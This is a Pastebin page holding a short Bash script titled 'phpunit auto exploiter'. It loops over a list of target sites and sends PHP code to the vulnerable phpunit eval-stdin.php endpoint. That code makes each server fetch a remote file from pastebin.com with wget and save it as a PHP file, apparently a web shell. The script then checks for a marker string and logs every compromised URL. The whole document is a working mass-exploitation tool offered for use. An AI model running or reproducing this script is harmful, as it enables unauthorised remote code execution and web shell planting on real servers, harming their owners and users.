Advertisement
INDOXPLOIT

phpunit auto exploiter

Aug 12th, 2019
659
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.71 KB | None | 0 0
  1. #!/bin/bash
  2. cekrce() {
  3.     target=$1
  4.     echo -ne "---";
  5.  
  6.     upload=$(curl -s --data "<?php system('wget https://pastebin.com/raw/KUDbhDy2 -O 098811223.php');?>" -X GET "${target}/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" | head -1)
  7.     cekshell=$(curl -s "${target}/vendor/phpunit/phpunit/src/Util/PHP/098811223.php");
  8.     if [[ $cekshell =~ 'ganteng' ]]; then
  9.     echo "Upload Done"
  10.     echo "$result" >> 0x.txt
  11.     echo "$target/vendor/phpunit/phpunit/src/Util/PHP/098811223.php" | tee -a 0x.txt
  12.     echo "=====================================\n" >> 0x.txt
  13.     else
  14.     echo "Can't Upload"
  15.     fi
  16.     }
  17.    
  18. for s in $(cat $1); do
  19.     echo "CHECKING $s"
  20.     echo -ne "----";
  21.     cekrce $s
  22. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement